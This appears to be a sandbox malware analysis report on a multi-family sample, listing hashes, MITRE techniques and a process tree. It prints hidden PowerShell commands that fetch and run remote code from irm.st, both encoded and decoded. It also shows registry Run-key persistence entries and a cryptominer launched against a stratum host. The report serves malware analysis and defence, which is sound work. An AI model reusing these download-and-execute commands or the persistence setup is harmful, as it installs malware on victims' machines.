b3040168133e7439062350c637be038fb78b491acb880ea6cdbaec25fde49761

Analysis

max time kernel
68s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 15:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-26_6d3acaad456f9784761e691bd0ffdfa4_glassworm_icedid_luca-stealer_njrat_stealc.exe
Size 3.7MB
Sample261027-sdapbsdg95
SHA256 b3040168133e7439062350c637be038fb78b491acb880ea6cdbaec25fde49761
MD5 6d3acaad456f9784761e691bd0ffdfa4
SHA1 04d72c9e8ecba2ca53767dd2de355a178ef4baac
SHA512 5ff1819c5ce96bfbfc3321a3af33f84c6797fa0f85ebb8a168f8d835fe2c04c490659dc2292a73ba2d59cbe3ccd10ccf20c58ac607f28b529840b0c97fbc478e
SSDEEP 49152:yhVE7yRCmUxKfRV6CAVqe1gHjBy/ymEK/16wccHtgshpCVjiV5cWbjpnl:yhVDdV0bHtRjCVjYTT
TLSH
T1AC069D1AA3E902ACC0B7C07D89475507EBB238461361AEDB57A085662FB77E01F7E731
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 32 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	1888	powershell.exe
6	3564	powershell.exe
7	3564	powershell.exe
12	952	powershell.exe
13	1332	powershell.exe
14	2408	powershell.exe
15	1232	powershell.exe
16	4936	powershell.exe
17	5624	powershell.exe
18	4912	powershell.exe
19	3324	powershell.exe
20	2324	powershell.exe
21	3696	powershell.exe
22	5404	powershell.exe
23	3616	powershell.exe
24	2304	powershell.exe
25	4560	powershell.exe
26	5172	powershell.exe
27	2600	powershell.exe
28	1420	powershell.exe
29	5616	powershell.exe
30	2352	powershell.exe
31	3228	powershell.exe
32	1872	powershell.exe
33	5868	powershell.exe
34	3616	powershell.exe
35	4580	powershell.exe
36	3576	powershell.exe
37	3320	powershell.exe
38	2632	powershell.exe
41	5420	powershell.exe
43	2704	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1332	powershell.exe
1204	powershell.exe
6024	powershell.exe
4152	powershell.exe
4640	powershell.exe
1512	powershell.exe
2624	powershell.exe
3576	powershell.exe
3916	powershell.exe
4180	powershell.exe
4560	powershell.exe
5616	powershell.exe
3772	powershell.exe
2612	powershell.exe
1624	powershell.exe
3696	powershell.exe
760	powershell.exe
6036	powershell.exe
5128	powershell.exe
2304	powershell.exe
2704	powershell.exe
2500	powershell.exe
2520	powershell.exe
5524	powershell.exe
2324	powershell.exe
3236	powershell.exe
5848	powershell.exe
5420	powershell.exe
1020	powershell.exe
1568	powershell.exe
4848	powershell.exe
5404	powershell.exe
5388	powershell.exe
2464	powershell.exe
988	powershell.exe
1232	powershell.exe
2560	powershell.exe
5760	powershell.exe
2600	powershell.exe
4556	powershell.exe
4532	powershell.exe
4380	powershell.exe
2280	powershell.exe
4652	powershell.exe
3908	powershell.exe
5956	powershell.exe
4936	powershell.exe
1160	powershell.exe
5232	powershell.exe
5696	powershell.exe
2640	powershell.exe
3144	powershell.exe
5396	powershell.exe
2408	powershell.exe
4884	powershell.exe
1848	powershell.exe
5632	powershell.exe
4624	powershell.exe
4912	powershell.exe
1872	powershell.exe
2588	powershell.exe
1380	powershell.exe
3452	powershell.exe
5868	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2026-10-26_6d3acaad456f9784761e691bd0ffdfa4_glassworm_icedid_luca-stealer_njrat_stealc.exe

Executes dropped EXE 2 IoCs

pid	Process
940	bnd92FF.tmp.exe
5960	SystemSettingsBroker.exe

Adds Run key to start application 2 TTPs 16 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/633795 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/386581 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/957489 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/856296 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/868157 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/255793 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/598077 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/540760 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/451634 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/302460 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/479931 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/994343 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/554539 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/675585 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/290637 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/449205 \| iex\""	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1888	powershell.exe
1888	powershell.exe
1888	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
952	powershell.exe
952	powershell.exe
952	powershell.exe
1332	powershell.exe
1332	powershell.exe
1332	powershell.exe
2408	powershell.exe
2408	powershell.exe
2408	powershell.exe
1232	powershell.exe
1232	powershell.exe
1232	powershell.exe
4936	powershell.exe
4936	powershell.exe
4936	powershell.exe
5624	powershell.exe
5624	powershell.exe
5624	powershell.exe
4912	powershell.exe
4912	powershell.exe
4912	powershell.exe
3324	powershell.exe
3324	powershell.exe
3324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
3696	powershell.exe
3696	powershell.exe
3696	powershell.exe
5404	powershell.exe
5404	powershell.exe
5404	powershell.exe
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe
2304	powershell.exe
2304	powershell.exe
2304	powershell.exe
4560	powershell.exe
4560	powershell.exe
4560	powershell.exe
5172	powershell.exe
5172	powershell.exe
5172	powershell.exe
2600	powershell.exe
2600	powershell.exe
2600	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
5616	powershell.exe
5616	powershell.exe
5616	powershell.exe
2352	powershell.exe
2352	powershell.exe
2352	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
940	bnd92FF.tmp.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeIncreaseQuotaPrivilege	3564	powershell.exe
Token: SeSecurityPrivilege	3564	powershell.exe
Token: SeTakeOwnershipPrivilege	3564	powershell.exe
Token: SeLoadDriverPrivilege	3564	powershell.exe
Token: SeSystemProfilePrivilege	3564	powershell.exe
Token: SeSystemtimePrivilege	3564	powershell.exe
Token: SeProfSingleProcessPrivilege	3564	powershell.exe
Token: SeIncBasePriorityPrivilege	3564	powershell.exe
Token: SeCreatePagefilePrivilege	3564	powershell.exe
Token: SeBackupPrivilege	3564	powershell.exe
Token: SeRestorePrivilege	3564	powershell.exe
Token: SeShutdownPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeSystemEnvironmentPrivilege	3564	powershell.exe
Token: SeRemoteShutdownPrivilege	3564	powershell.exe
Token: SeUndockPrivilege	3564	powershell.exe
Token: SeManageVolumePrivilege	3564	powershell.exe
Token: 33	3564	powershell.exe
Token: 34	3564	powershell.exe
Token: 35	3564	powershell.exe
Token: 36	3564	powershell.exe
Token: SeDebugPrivilege	952	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeIncreaseQuotaPrivilege	1332	powershell.exe
Token: SeSecurityPrivilege	1332	powershell.exe
Token: SeTakeOwnershipPrivilege	1332	powershell.exe
Token: SeLoadDriverPrivilege	1332	powershell.exe
Token: SeSystemProfilePrivilege	1332	powershell.exe
Token: SeSystemtimePrivilege	1332	powershell.exe
Token: SeProfSingleProcessPrivilege	1332	powershell.exe
Token: SeIncBasePriorityPrivilege	1332	powershell.exe
Token: SeCreatePagefilePrivilege	1332	powershell.exe
Token: SeBackupPrivilege	1332	powershell.exe
Token: SeRestorePrivilege	1332	powershell.exe
Token: SeShutdownPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeSystemEnvironmentPrivilege	1332	powershell.exe
Token: SeRemoteShutdownPrivilege	1332	powershell.exe
Token: SeUndockPrivilege	1332	powershell.exe
Token: SeManageVolumePrivilege	1332	powershell.exe
Token: 33	1332	powershell.exe
Token: 34	1332	powershell.exe
Token: 35	1332	powershell.exe
Token: 36	1332	powershell.exe
Token: SeDebugPrivilege	2408	powershell.exe
Token: SeDebugPrivilege	1232	powershell.exe
Token: SeIncreaseQuotaPrivilege	1232	powershell.exe
Token: SeSecurityPrivilege	1232	powershell.exe
Token: SeTakeOwnershipPrivilege	1232	powershell.exe
Token: SeLoadDriverPrivilege	1232	powershell.exe
Token: SeSystemProfilePrivilege	1232	powershell.exe
Token: SeSystemtimePrivilege	1232	powershell.exe
Token: SeProfSingleProcessPrivilege	1232	powershell.exe
Token: SeIncBasePriorityPrivilege	1232	powershell.exe
Token: SeCreatePagefilePrivilege	1232	powershell.exe
Token: SeBackupPrivilege	1232	powershell.exe
Token: SeRestorePrivilege	1232	powershell.exe
Token: SeShutdownPrivilege	1232	powershell.exe
Token: SeDebugPrivilege	1232	powershell.exe
Token: SeSystemEnvironmentPrivilege	1232	powershell.exe
Token: SeRemoteShutdownPrivilege	1232	powershell.exe
Token: SeUndockPrivilege	1232	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
940	bnd92FF.tmp.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 1888	2016	2026-10-26_6d3acaad456f9784761e691bd0ffdfa4_glassworm_icedid_luca-stealer_njrat_stealc.exe	88
PID 2016 wrote to memory of 940	2016	2026-10-26_6d3acaad456f9784761e691bd0ffdfa4_glassworm_icedid_luca-stealer_njrat_stealc.exe	90
PID 1888 wrote to memory of 3564	1888	powershell.exe	91
PID 952 wrote to memory of 1332	952	powershell.exe	96
PID 3564 wrote to memory of 5960	3564	powershell.exe	98
PID 2408 wrote to memory of 1232	2408	powershell.exe	102
PID 4936 wrote to memory of 5624	4936	powershell.exe	106
PID 4912 wrote to memory of 3324	4912	powershell.exe	110
PID 2324 wrote to memory of 3696	2324	powershell.exe	114
PID 5404 wrote to memory of 3616	5404	powershell.exe	141
PID 2304 wrote to memory of 4560	2304	powershell.exe	122
PID 5172 wrote to memory of 2600	5172	powershell.exe	126
PID 1420 wrote to memory of 5616	1420	powershell.exe	130
PID 2352 wrote to memory of 3228	2352	powershell.exe	134
PID 1872 wrote to memory of 5868	1872	powershell.exe	138
PID 3616 wrote to memory of 4580	3616	powershell.exe	142
PID 3576 wrote to memory of 3320	3576	powershell.exe	146
PID 2632 wrote to memory of 244	2632	powershell.exe	172
PID 5420 wrote to memory of 2704	5420	powershell.exe	154

C:\Users\Admin\AppData\Local\Temp\2026-10-26_6d3acaad456f9784761e691bd0ffdfa4_glassworm_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-26_6d3acaad456f9784761e691bd0ffdfa4_glassworm_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
    3⤵
    - Badlisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3564
  - - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
      4⤵
      Executes dropped EXE
      PID:5960
- C:\Users\Admin\AppData\Local\Temp\bnd92FF.tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\bnd92FF.tmp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/633795 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/633795 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/540760 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/540760 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/451634 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/451634 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:5624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/994343 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/994343 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:3324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/386581 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/386581 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:3696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/856296 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/856296 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:3616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/868157 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/868157 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:4560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/957489 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/957489 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:2600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/255793 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/255793 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:5616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/302460 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/302460 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  PID:3228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/554539 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
PID:1872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/554539 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  PID:5868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/598077 | iex"
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/598077 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  PID:4580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/675585 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
PID:3576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/675585 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  PID:3320

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/479931 | iex"
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/479931 | iex"
  2⤵
  - Adds Run key to start application
  PID:244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/290637 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
PID:5420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/290637 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  PID:2704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/449205 | iex"
1⤵
PID:3388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/449205 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/165196 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/165196 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/611765 | iex"
1⤵
PID:1016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/611765 | iex"
  2⤵
  PID:3236

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/904325 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/904325 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2500

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/553989 | iex"
1⤵
PID:5104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/553989 | iex"
  2⤵
  PID:3364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/562767 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/562767 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/421614 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/421614 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/554752 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
